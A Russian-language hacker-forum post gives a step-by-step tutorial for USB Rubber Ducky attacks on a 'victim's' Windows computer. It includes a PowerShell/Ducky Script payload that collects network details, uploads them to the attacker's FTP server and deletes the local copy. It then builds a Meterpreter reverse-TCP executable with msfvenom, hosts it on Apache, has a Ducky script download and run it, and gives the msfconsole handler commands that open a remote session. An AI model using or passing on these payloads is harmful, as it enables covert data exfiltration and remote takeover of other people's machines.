Jump to content
Новости и объявления.
  • Уважаемые гости. При посещении нашего сайта, просим вас ознакомиться с разделами форума, прежде чем оставлять ваши объявления и т.д. Рекомендуем посетить разделы: "Общение, Коммерческий раздел, Услуги Хакеров и статьи, Отзывы о сайте и пользователях, Черный список" и другие разделы нашего сайта. ***ВНИМАНИЕ*** При обращении за помощью, просим быть внимательными, на сайте есть, как проверенные специалисты, так и непроверенные. Если вы обратились к специалисту, который проверку НЕ проходил, рекомендуем воспользоваться услугой гарант сервиса. xakervip.com
  • Взлом
  • Взлом
  • Гарант-сервис
  • Реклама на форуме

Recommended Posts

Всем привет, сейчас я хочу дать вам небольшую инструкцию, в которой вы сможете познакомиться с различными командами используя USB Ducky. Расскажу, как применяется это устройство и что можно сделать с помощью его. Как вы понимаете, есть огромное количество возможны вариантов использования и все они нужны под определенные задачи. Сейчас я вам покажу несколько таких вариантов на практике.

Хочу напомнить, что для совершения атаки нужно каким-либо образом передать данное устройство нашей жертве. Как вы это сделаете уже не относится к данной статье.

 

Удаленное получение информации о сети PowerShell

Для этого нам понадобится:

1.USB Wi-Fi Ducky

2. Удаленный сервер, на котором будет присутствовать FTP-сервер

3. Смартфон

Основной для этого скрипта будет код, который позволит заполучить данные о сети. Как пример мы будем использовать Get-NetIPConfiguration, это всего навсегда аналог популярной команды ipconfig в консоли винды.

 

 

Тыкаем “Добавить” после чего нам нужно будет указать директорию файлов. После чего напротив “Разрешить полный доступ” нам нужно будет поставить галочку.

Итак, вот сам скрипт:

 

############################################

Get-NetIPConfiguration > ipdata.txt;

#указываем файл для записи данных о сети

$Dir="ipdata.txt"  

#указываем директорию FTP-сервера

$ftp = "ftp://"

#указываем адрес FTP-сервера (текст в скобочках заменяется на адрес сервера)

$webclient = New-Object System.Net.WebClient

foreach($item in (dir $Dir "*.trc")){"uploading";$uri = New-Object System.Uri($ftp+$item.Name);$webclient.UploadFile($uri, $item.FullName)}

#код для записи файла на сервер. Цикл foreach записан в строку

del ipdata.txt

#удаляем исходный файл с данными о сети

############################################

Прямо в PowerShell вы можете протестировать данный скрипт на наличие ошибок.

После этого нам нужно перенести скрипт как команды для Ducky Script:

 

 

GUI r

DELAY 100

STRING powershell

ENTER

DELAY 1000

STRING Get-NetIPConfiguration > ipdata.txt;$Dir="ipdata.txt";$ftp = "ftp://127.0.0.1/F/";$webclient= New-Object System.Net.WebClient;

ENTER

STRING foreach($item in (dir $Dir "*.trc")){"uploading";$uri = New-Object System.Uri($ftp

STRING +

STRING $item.Name);$webclient.UploadFile($uri, $item.FullName)}

ENTER

STRING del ipdata.txt

ENTER

DELAY 100

STRING exit

ENTER

 

Сразу уточню, что каждая система имеют свой собственный DELAY, а именно задержки при выполнении различных команд. Поэтому для этого нам нужно будет подбирать различные варианты.

Во время того, как скрипт будет работать файл с необходимыми данными о сети будет пересылаться на наш FTP-сервер после чего сразу же уничтожаться с системы человека. Вот пример такого отчета:

 

 

Meterpreter

USB Rubber Ducky позволяет не только использовать написанные на нем сценарии, но и загружать исполняемые файлы, который будут работать самостоятельно. Как раз таки об этом сейчас немного поговорим.

Для это всего нам будет необходимо:

1.Компьютер с операционной системой Linux а также установленным на нем Metasploit Framework а также Apache

2. Также нам будет необходим Arduino Micro Pro вместе с Wemos mini d1, которые будет прошит для работы со скриптами Ducky.

3. Компьютер с виндой имеющий PowerShell.

4. Смартфон с возможность подключения к Wi-Fi.

 

Шаг 1. Создание payload

Первым делом нам нужно узнать ИП-адрес нашей системы, делается это с помощью команды ipconfig. Как вы могли заметить, то наш адрес имеет такой вид – 192.168.0.х

Теперь нам нужно создать исполняемые файл, делается это при помощи данной команды:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.100 lport=5555 -f exe > / root/Desktop/reverse_tcp.exe

Как только она сработает, то мы сразу получит результат ее работы:

 

Теперь в папке root/Desktop мы сможет найти необходимый нам файл.

 

Шаг 2. Конфигурирование веб-сервера

Итак, нам надо запустить Apache 2, делает это вот таким образом:

Service apache2 start

Теперь нам нужно скопировать данный файл – reverse_tcp.exe по данном пути – var/www/html.

Теперь нам надо проверить наш сервер на работоспособность, для этого нам нужно вести собственный ип-адрес в адресной строке, там мы должны наблюдать подобное:

 

 

Шаг 3. Работа с Wi-fi USB Ducky

Наконец-то, именно на данном этапе мы начинаем использовать нашу программу. Первым делом нам нужно посмотреть на данный скрипт - github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---powershell-wget---execute. Советую его отредактировать и убрать ненужные пробелы с комментариями. Отлично, теперь нам нужно провести замену “service.jar” на имя нашего payload, и Ип-адреса нашей системы.

Подсоединяем устройства, проводим подключения к точке доступа Ducky и загружаем скрипт, который мы получили:

 

Шаг 4. Атака

Вот и финишная прямая, нажимаем кнопку “Run Script”. Теперь на экране нашей жертвы появится окно с кнопкой “Выполнить” после этого запуск PowerShell на фоне. Начинается скачивание файла, а по его завершению PowerShell закрывается.

Чтобы получить контроль над системой жертвы, нам нужно будет выполнить команду msfconsole. Как только фреймворк будет загружен нам нужно будет ввести данные команды:

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set lport 5555

msf exploit(handler) > exploit

Если payload сработал, то вы увидите на своем экране вот это:

 

Когда подключение будет установлено, вы сможете воспользоваться всеми возможностями данной программы.

 

 

 

 

 

 

Link to comment
Share on other sites

  • Реклама на форуме

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...

  • Member Statistics

    6,603
    Total Members
    30,834
    Most Online
    RobertBuh
    Newest Member
    RobertBuh
    Joined
×
×
  • Create New...

Important Information

Guidelines
Terms of Use
We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.